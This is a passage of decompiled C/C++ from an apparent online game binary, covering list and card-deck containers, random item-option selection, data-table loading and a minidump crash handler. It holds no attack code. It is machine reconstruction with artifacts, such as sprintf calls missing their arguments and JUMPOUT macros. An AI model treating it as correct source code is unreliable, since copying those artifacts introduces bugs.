v2->l_MaxSize; v15 = (int)&v2->l_Array[v2->l_MaxSize]; *(_DWORD *)v14 = *(_DWORD *)v15; *(_DWORD *)(v14 + 4) = *(_DWORD *)(v15 + 4); *(_DWORD *)(v14 + 8) = *(_DWORD *)(v15 + 8); v16 = v2->l_Array; v2->l_Finger.empty = v2->l_MaxSize; operator delete(v16); v17 = (void **)v2->l_ListArray; v2->l_Array = (ListStruct *)newarray; operator delete(*v17); v2->l_ListArray->la_Array = (CardDeck::Card *)extsizea; v18 = v2->l_ListArray; v2->l_MaxSize = v5; v18->la_Size = (unsigned __int16)v5; v2->l_Finger.store = LOWORD(v2->l_ListArray->la_Size); return 1; } //----- (005E54C0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->c_card; return 1; } // 5E54D5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005E54F0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (005E5540) -------------------------------------------------------- void __thiscall ListArray::_ListArray(ListArray *this) { if ( this->la_Array ) operator delete(this->la_Array); } //----- (005E5550) -------------------------------------------------------- void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 void *v2; // eax@1 void *v3; // esi@3 v1 = this; v2 = this->cs_Array.la_Array; if ( v2 ) operator delete(v2); v1->cs_deck.vfptr = (ListVtbl *)List::_vftable_; v3 = v1->cs_deck.l_Array; if ( v3 ) operator delete(v3); } // 632054: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (005E55C0) -------------------------------------------------------- void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num) { List *v2; // edi@1 signed int v3; // ebx@1 int v4; // ebp@2 int v5; // eax@3 CardDeck::Card *v6; // esi@3 int v7; // eax@3 CardDeck::Card *v8; // eax@3 unsigned int v9; // ecx@5 v2 = (List *)this; v3 = this->cs_deck.l_ListNum; if ( num > 0 ) { v4 = num; do { v5 = rand(); v6 = List::l_GetInList(v2, v5 % v3, (unsigned __int16 *)&num); v7 = rand(); v8 = List::l_GetInList(v2, v7 % v3, (unsigned __int16 *)&num); if ( v6 ) { if ( v8 ) { v9 = v6->c_card; v6->c_card = v8->c_card; v8->c_card = v9; } } --v4; } while ( v4 ); } } //----- (005E5620) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card) { CardDeck::CardStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = this; while ( 1 ) { v3 = v2->cs_deck.l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->cs_deck.vfptr->l_AllocA((List *)v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(&v2->cs_deck, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (005E5660) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card) { List *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 v2 = (List *)this; while ( 1 ) { v3 = v2->l_Finger.empty; if ( (_WORD)v3 != -1 ) { v4 = (int)v2->vfptr->l_AllocZ(v2, v3); if ( v4 ) break; } if ( !List::l_Enlargement(v2, 5) ) return 0; } *(_DWORD *)v4 = card; return 1; } //----- (005E56A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (005E56F0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005E5810) -------------------------------------------------------- char __thiscall List::l_SetListArray(List *this, ListArray *array) { List *v2; // esi@1 signed int v4; // eax@7 int v5; // edx@8 ListStruct *v6; // ecx@10 CardDeck::Card *v7; // ebx@10 int v8; // ecx@10 v2 = this; if ( this->l_Array ) operator delete(this->l_Array); v2->l_ListArray = array; if ( !array->la_Array ) { v2->l_Array = 0; return 0; } List::l_MakeList(v2, LOWORD(array->la_Size)); if ( !v2->l_Array ) return 0; v4 = 0; if ( v2->l_MaxSize ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v4]; } ++v4; ++v5; } while ( v4 < v2->l_MaxSize ); } return 1; } //----- (005E5890) -------------------------------------------------------- void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this) { CardDeck::CardStack *v1; // esi@1 v1 = this; this->cs_deck.vfptr = (ListVtbl *)List::_vftable_; this->cs_deck.l_ListArray = 0; List::l_MakeList(&this->cs_deck, 1u); v1->cs_Array.la_Size = 5; v1->cs_Array.la_Array = (CardDeck::Card *)operator new(0x14u); List::l_SetListArray(&v1->cs_deck, &v1->cs_Array); } // 632054: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (005E5900) -------------------------------------------------------- void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo) { int v1; // eax@0 char *v2; // edi@1 char v3; // al@2 const char *v4; // eax@3 const void *v5; // edx@3 char v6; // cl@4 unsigned int v7; // eax@5 void *v8; // edi@5 char v9; // cl@6 char *v10; // edi@7 char v11; // al@8 void *v12; // esi@9 void *v13; // eax@10 void *v14; // ecx@10 int v15; // edi@10 char v16; // dl@11 void *i; // eax@12 void *v18; // ecx@14 int v19; // edi@14 char v20; // dl@15 int v21; // [sp-Ch] [bp-248h]@1 void *pkLine; // [sp+0h] [bp-23Ch]@12 void *pkEnter; // [sp+4h] [bp-238h]@12 void *hFile; // [sp+8h] [bp-234h]@9 char *len; // [sp+Ch] [bp-230h]@12 void *pExPtrs; // [sp+10h] [bp-22Ch]@1 void *lpcStr; // [sp+14h] [bp-228h]@10 char szScratchTest[260]; // [sp+18h] [bp-224h]@1 char szNewCallStackPath[260]; // [sp+11Ch] [bp-120h]@1 unsigned int v30; // [sp+220h] [bp-1Ch]@1 int *v31; // [sp+224h] [bp-18h]@1 int v32; // [sp+22Ch] [bp-10h]@1 int (__cdecl *v33)(int, PVOID, int); // [sp+230h] [bp-Ch]@1 _UNKNOWN *v34; // [sp+234h] [bp-8h]@1 int v35; // [sp+238h] [bp-4h]@1 int v36; // [sp+23Ch] [bp+0h]@1 v34 = &unk_688250; v33 = _except_handler3; v32 = v1; v30 = (unsigned int)&v36 ^ __security_cookie; v31 = &v21; pExPtrs = pExceptionInfo; v35 = 0; GetModuleFileNameA(0, szNewCallStackPath, 0x104u); v2 = &szScratchTest[259]; do v3 = (v2++)[1]; while ( v3 ); *(_WORD *)v2 = stru_63450C.maa_MobHandle; v4 = GetCurrentTimeString2(0); v5 = v4; do v6 = *v4++; while ( v6 ); v7 = v4 - v5; v8 = &szScratchTest[259]; do { v9 = *((_BYTE *)v8 + 1); v8 = (char *)v8 + 1; } while ( v9 ); memcpy(v8, v5, v7); v10 = &szScratchTest[259]; do v11 = (v10++)[1]; while ( v11 ); *(_DWORD *)v10 = *(_DWORD *)"CallStack.txt"; *((_DWORD *)v10 + 1) = dword_688240; *((_DWORD *)v10 + 2) = dword_688244; *((_WORD *)v10 + 6) = word_688248; v12 = fopen(szNewCallStackPath, "w"); hFile = v12; if ( v12 ) { EHInitSymbolEngine(); lpcStr = 0; v13 = (void *)GetFaultReason((_EXCEPTION_POINTERS *)pExPtrs); lpcStr = v13; v14 = v13; v15 = (int)((char *)v13 + 1); do { v16 = *(_BYTE *)v14; v14 = (char *)v14 + 1; } while ( v16 ); len = (char *)v14 - v15; fwrite(v13, (unsigned int)((char *)v14 - v15), 1u, (_iobuf *)v12); pkEnter = "\n"; fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); pkLine = "--------------------------------------------------------------------------\n"; fwrite( "--------------------------------------------------------------------------\n", strlen("--------------------------------------------------------------------------\n"), 1u, (_iobuf *)v12); for ( i = (void *)GetFirstStackTraceString(0xEu, (_EXCEPTION_POINTERS *)pExPtrs); ; i = (void *)GetNextStackTraceString(0xEu, (_EXCEPTION_POINTERS *)pExPtrs) ) { lpcStr = i; if ( !i ) break; v18 = i; v19 = (int)((char *)i + 1); do { v20 = *(_BYTE *)v18; v18 = (char *)v18 + 1; } while ( v20 ); len = (char *)v18 - v19; fwrite(i, (unsigned int)((char *)v18 - v19), 1u, (_iobuf *)v12); fwrite("\n", strlen("\n"), 1u, (_iobuf *)v12); } EHCleanupSymbolEngine(); fclose((_iobuf *)v12); } else { GetLastError(); sprintf(szScratchTest, "EXCEPTION - Failed to Call Stack file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } v35 = -1; __security_check_cookie((unsigned int)&v36 ^ v30); } // 688240: using guessed type int dword_688240; // 688244: using guessed type int dword_688244; // 688248: using guessed type __int16 word_688248; //----- (005E5B80) -------------------------------------------------------- int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo) { HINSTANCE__ *v1; // esi@1 char *v2; // eax@2 int v3; // eax@3 int result; // eax@8 FARPROC v5; // ebx@9 char *v6; // edi@11 char v7; // al@12 const char *v8; // eax@13 const void *v9; // edx@13 char v10; // cl@14 unsigned int v11; // eax@15 void *v12; // edi@15 char v13; // cl@16 char *v14; // edi@17 char v15; // al@18 __int16 v16; // cx@19 HANDLE v17; // esi@19 DWORD v18; // ST08_4@20 HANDLE v19; // eax@20 int retval; // [sp+1Ch] [bp-320h]@1 DWORD ExInfo; // [sp+20h] [bp-31Ch]@20 _EXCEPTION_POINTERS *v22; // [sp+24h] [bp-318h]@20 int v23; // [sp+28h] [bp-314h]@11 char szDumpPath[260]; // [sp+2Ch] [bp-310h]@11 char szScratch[260]; // [sp+130h] [bp-20Ch]@21 char szDbgHelpPath[260]; // [sp+234h] [bp-108h]@1 unsigned int v27; // [sp+338h] [bp-4h]@1 v27 = (unsigned int)&retval ^ __security_cookie; v1 = 0; retval = 0; if ( GetModuleFileNameA(0, szDbgHelpPath, 0x104u) ) { v2 = _mbsrchr(szDbgHelpPath, 0x5Cu); if ( v2 ) { v3 = (int)(v2 + 1); *(_DWORD *)v3 = *(_DWORD *)"DBGHELP.DLL"; *(_DWORD *)(v3 + 4) = dword_688354; *(_DWORD *)(v3 + 8) = off_688358; v1 = LoadLibraryA(szDbgHelpPath); } } MiniDumper::MinidumpCallStack(pExceptionInfo); if ( MiniDumper::FuncForStack ) MiniDumper::FuncForStack(); if ( v1 || (v1 = LoadLibraryA("DBGHELP.DLL")) != 0 ) { v5 = GetProcAddress(v1, "MiniDumpWriteDump"); if ( v5 ) { GetModuleFileNameA(0, szDumpPath, 0x104u); v6 = (char *)&v23 + 3; do v7 = (v6++)[1]; while ( v7 ); *(_WORD *)v6 = stru_63450C.maa_MobHandle; v8 = GetCurrentTimeString2(0); v9 = v8; do v10 = *v8++; while ( v10 ); v11 = v8 - v9; v12 = (char *)&v23 + 3; do { v13 = *((_BYTE *)v12 + 1); v12 = (char *)v12 + 1; } while ( v13 ); memcpy(v12, v9, v11); v14 = (char *)&v23 + 3; do v15 = (v14++)[1]; while ( v15 ); v16 = word_6882F4; *(_DWORD *)v14 = *(_DWORD *)".mdmp"; *((_WORD *)v14 + 2) = v16; v17 = CreateFileA(szDumpPath, 0x40000000u, 2u, 0, 2u, 0x80u, 0); if ( v17 == (HANDLE)-1 ) { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to create dump file '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); } else { ExInfo = GetCurrentThreadId(); v22 = pExceptionInfo; v23 = 0; v18 = GetCurrentProcessId(); v19 = GetCurrentProcess(); if ( ((int (__stdcall *)(HANDLE, DWORD, HANDLE, signed int, DWORD *, _DWORD, _DWORD))v5)( v19, v18, v17, 64, &ExInfo, 0, 0) ) { retval = 1; sprintf(szScratch, "EXCEPTION - Saved dump file to '%s'"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } else { GetLastError(); sprintf(szScratch, "EXCEPTION - Failed to save dump file to '%s' (error %d)"); _DebugMessageNew(1, "Msg", "%s"); CloseHandle(v17); } } result = retval; } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } } else { _DebugMessageNew(1, "Msg", "%s"); result = 0; } return result; } // 6882F4: using guessed type __int16 word_6882F4; // 688354: using guessed type int dword_688354; // 688358: using guessed type void *off_688358; // 15350670: using guessed type int (*MiniDumper__FuncForStack)(void); //----- (005E5E40) -------------------------------------------------------- void __thiscall MiniDumper::MiniDumper(MiniDumper *this) { SetUnhandledExceptionFilter(MiniDumper::TopLevelFilter); } //----- (005E5E60) -------------------------------------------------------- void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this) { CardDeck::CardStack::CardStack(&this->ocs_cardstack); } //----- (005E5E80) -------------------------------------------------------- int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op) { unsigned int v2; // eax@1 char *v3; // eax@1 int v4; // ecx@1 int v5; // eax@1 signed int v6; // ecx@1 char *v7; // edx@1 int v8; // esi@2 unsigned int v9; // eax@6 int result; // eax@7 char *v11; // edx@10 int v12; // eax@10 unsigned __int16 v13; // dx@10 v2 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v2; v3 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v2]]; v4 = (*((_DWORD *)v3 + 8192) + 1) & *((_DWORD *)v3 + 8193); *((_DWORD *)v3 + 8192) = v4; v5 = *(_WORD *)&v3[2 * v4]; v6 = 0; v7 = (char *)op->Rate; do { v8 = *(_WORD *)v7; if ( v8 >= v5 ) break; v5 -= v8; ++v6; v7 += 2; } while ( v6 < 9 ); if ( v6 >= 9 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Error in random select", op->OptionDegree); v6 = 0; } LOBYTE(v9) = op->Interval; if ( (_BYTE)v9 == 1 ) { result = v6 + 1; } else { v9 = (unsigned __int8)v9; if ( (_BYTE)v9 && v9 <= 0x64 ) { v11 = (char *)&rndbox + 32776 * v9; v12 = *((_DWORD *)v11 + 8193) & (*((_DWORD *)v11 + 8192) + 1); *((_DWORD *)v11 + 8192) = v12; v13 = *(_WORD *)&v11[2 * v12]; } else { v13 = 0; } result = v13 + v6 * op->Interval; if ( result >= 256 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_selectnumber : Too large value", result); result = 255; } } return result; } //----- (005E5F80) -------------------------------------------------------- EnchantSocketRateData *__cdecl EnchantSocketRateData::GetSocketRateData() { return (EnchantSocketRateData *)EnchantSocketRateData::sm_pSocketRateData; } // 15350678: using guessed type int EnchantSocketRateData__sm_pSocketRateData; //----- (005E5F90) -------------------------------------------------------- void __cdecl EnchantSocketRateData::SetSocketRateData(EnchantSocketRateData *val) { EnchantSocketRateData::sm_pSocketRateData = (int)val; } // 15350678: using guessed type int EnchantSocketRateData__sm_pSocketRateData; //----- (005E5FA0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x971u, 0x45u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005E6050) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x62Eu, 0x19u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005E6100) -------------------------------------------------------- void __thiscall RewardData::RewardData(RewardData *this) { RewardData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x44u); BYTE3(v1->baseclass_0.bdb_defaultblock.TitleDegree) = 0; } //----- (005E6120) -------------------------------------------------------- void __thiscall RewardData::rd_Load(RewardData *this) { RewardData *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Hero/ShineReward.shn"); v1->baseclass_0.bdb_defaultblock.RewardHandle = -1; } //----- (005E6140) -------------------------------------------------------- ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle) { RewardData *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 ShineReward *result; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: result = 0; } else { v5 = v3 > 0; while ( 1 ) { result = (ShineReward *)(v5 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v4) : &v2->baseclass_0.bdb_defaultblock); if ( result->RewardHandle == handle ) break; v7 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } return result; } //----- (005E6180) -------------------------------------------------------- void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this) { ItemOptionsData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.OptionDegree = 0; *(ITEM_OPTION_TYPE *)((char *)&v1->baseclass_0.bdb_defaultblock.Type + 2) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[0] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[2] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[4] + 1) = 0; *(_DWORD *)((char *)&v1->baseclass_0.bdb_defaultblock.Rate[6] + 1) = 0; HIBYTE(v1->baseclass_0.bdb_defaultblock.Rate[8]) = 0; _eh_vector_constructor_iterator_( v1->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::OptionCardStack, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); } //----- (005E61F0) -------------------------------------------------------- void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; _eh_vector_destructor_iterator_( this->iod_optionlist, 0x24u, 500, (void (__thiscall *)(void *))ItemOptionsData::OptionCardStack::_OptionCardStack); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (005E6250) -------------------------------------------------------- char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios) { ItemOptionStorage *v2; // esi@1 ItemOptionsData::OptionCardStack *v3; // edi@1 ItemOptions *v4; // eax@1 char result; // al@2 int v6; // ebp@3 unsigned int v7; // eax@3 ListStruct *v8; // edx@4 unsigned __int16 v9; // ax@4 int v10; // eax@5 ItemOptionStorage **v11; // ebx@6 signed __int16 v12; // ax@7 int v13; // ebx@10 void *v14; // eax@13 signed int v15; // ecx@16 char v16; // cl@18 int v17; // [sp+0h] [bp-4h]@1 HIWORD(v17) = HIWORD(this); v2 = ios; v3 = this; ios->fixed.optionnumber.str._bf0 &= 1u; v4 = this->ocs_Number; if ( v4 ) { v6 = ItemOptionsData::OptionCardStack::ocs_selectnumber(this, v4); v7 = (ios->fixed.optionnumber.str._bf0 & 1u) >> 1; ios->fixed.optionnumber.str._bf0 &= 1u; if ( (signed int)v7 >= v6 ) { LABEL_19: result = 1; } else { while ( 1 ) { v8 = v3->ocs_cardstack.cs_deck.l_Array; v9 = v8[v3->ocs_cardstack.cs_deck.l_Finger.store].ls_Next; LOWORD(v17) = v9; if ( v9 < v3->ocs_cardstack.cs_deck.l_MaxSize && (v10 = (int)&v8[v9], *(_BYTE *)(v10 + 8)) && (v11 = *(ItemOptionStorage ***)v10) != 0 ) { v3->ocs_cardstack.cs_deck.vfptr->l_Free((List *)v3, v17); ios = *v11; v12 = 1; } else { v12 = 0; } if ( !v12 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in selecting", v3->ocs_Number->OptionDegree); return 0; } v13 = v3->ocs_Number->OptionDegree; if ( !CardDeck::CardStack::cs_InsertBottom(&v3->ocs_cardstack, (unsigned int)ios) ) AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Error in card recycle", v13); if ( (unsigned int)ios < *(_DWORD *)(unk_153506B0 + 40) ) v14 = CDataReader::GetRecord(&itemoptiondata.baseclass_0.baseclass_0.baseclass_0, (unsigned int)ios); else v14 = &unk_153506BC; if ( *(_WORD *)v14 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Option not found", *(_WORD *)v14); return 0; } v15 = *(_DWORD *)((char *)v14 + 2); if ( !v15 ) break; if ( v15 >= 12 ) break; *(&v2->optionlist[0].itemoption_type + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = *((_BYTE *)v14 + 2); *(unsigned __int16 *)((char *)&v2->optionlist[0].itemoption_value + 2 * ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1) + ((unsigned int)v2->fixed.optionnumber.str._bf0 >> 1)) = ItemOptionsData::OptionCardStack::ocs_selectnumber( v3, v3->ocs_Number); v16 = v2->fixed.optionnumber.str._bf0 & 1 ^ ((v2->fixed.optionnumber.str._bf0 & 0xFE) + 2); v2->fixed.optionnumber.str._bf0 = v16; if ( (signed int)((unsigned int)(unsigned __int8)v16 >> 1) >= v6 ) goto LABEL_19; } AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_make : Invalid Option", *(_WORD *)v14); result = 0; } } else { result = 0; } return result; } //----- (005E6410) -------------------------------------------------------- void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this) { ItemOptionsData *v1; // edi@1 int v2; // eax@1 signed int v3; // ecx@1 unsigned int v4; // eax@3 unsigned int v5; // ebp@3 bool v6; // cf@4 void *v7; // esi@6 int v8; // eax@8 signed int v9; // eax@17 int v10; // esi@18 signed int v11; // ebx@18 v1 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, "../9Data/Hero/ItemOptions.shn"); v2 = (int)&v1->iod_optionlist[0].ocs_Number; v3 = 500; do { *(_DWORD *)v2 = 0; v2 += 36; --v3; } while ( v3 ); v4 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; if ( (signed int)v4 > 0 ) { v6 = v4 > 0; do { if ( v6 ) v7 = CDataReader::GetRecord(&v1->baseclass_0.baseclass_0.baseclass_0, v5); else v7 = &v1->baseclass_0.bdb_defaultblock; v8 = *(_WORD *)v7; if ( *(_DWORD *)((char *)v7 + 2) ) { if ( !v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_cardinsert : not initializes", v8); ShineExit("ItemOptionsData::OptionCardStack::ocs_cardinsert"); } CardDeck::CardStack::cs_InsertTop(&v1->iod_optionlist[v8].ocs_cardstack, v5); } else { if ( v1->iod_optionlist[v8].ocs_Number ) { AssertClass::ac_AssertFail( &shineassert, "ItemOptionsData::OptionCardStack::ocs_Init : already initialized", *(_WORD *)v7); ShineExit("ItemOptionsData::OptionCardStack::ocs_Init"); } v1->iod_optionlist[v8].ocs_Number = (ItemOptions *)v7; List::l_Clear(&v1->iod_optionlist[v8].ocs_cardstack.cs_deck); } v9 = v1->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v5; v6 = v5 < v9; } while ( (signed int)v5 < v9 ); } v10 = (int)v1->iod_optionlist; v11 = 500; do { if ( *(_DWORD *)(v10 + 32) ) CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)v10, 50); v10 += 36; --v11; } while ( v11 ); v1->baseclass_0.bdb_defaultblock.OptionDegree = -1; } //----- (005E6530) -------------------------------------------------------- const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF) { unsigned int v2; // esi@1 DWORD v3; // eax@3 const char *v5; // [sp-8h] [bp-10h]@7 v2 = errorcode; if ( !errorcode ) v2 = GetLastError(); v3 = 4608; if ( !bAddCRLF ) v3 = 4863; if ( !FormatMessageA(v3, 0, v2, 0x400u, ErrorMessage, 0x400u, 0) ) { if ( bAddCRLF ) v5 = "ErrorCode=%d\r\n"; else v5 = "ErrorCode=%d"; sprintf(ErrorMessage, v5); } return ErrorMessage; } //----- (005E65A0) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString(int bUTCTime) { __int16 Time; // [sp+0h] [bp-114h]@1 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int v5; // [sp+110h] [bp-4h]@1 v5 = (unsigned int)&Time ^ __security_cookie; if ( bUTCTime ) GetSystemTime((LPSYSTEMTIME)&Time); else GetLocalTime((LPSYSTEMTIME)&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); sprintf(sCurrentDateTime, "%s %s "); return sCurrentDateTime; } //----- (005E6660) -------------------------------------------------------- const char *__cdecl GetCurrentTimeString2(int bUTCTime) { SYSTEMTIME Time; // [sp+0h] [bp-114h]@1 char sCurrentTime[128]; // [sp+10h] [bp-104h]@4 char sCurrentDate[128]; // [sp+90h] [bp-84h]@4 unsigned int v5; // [sp+110h] [bp-4h]@1 v5 = (unsigned int)&Time ^ __security_cookie; if ( bUTCTime ) GetSystemTime(&Time); else GetLocalTime(&Time); sprintf(sCurrentDate, "%04d-%02d-%02d"); sprintf(sCurrentTime, "%02d:%02d:%02d"); GetTimeFormatA(0, 0, &Time, "tt hhmmss", sCurrentTime, 128); sprintf(sCurrentDateTime_0, "%s %s"); return sCurrentDateTime_0; } //----- (005E6740) -------------------------------------------------------- void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args) { const char *v4; // eax@2 const char *v5; // ecx@3 const char *v6; // esi@3 char v7; // 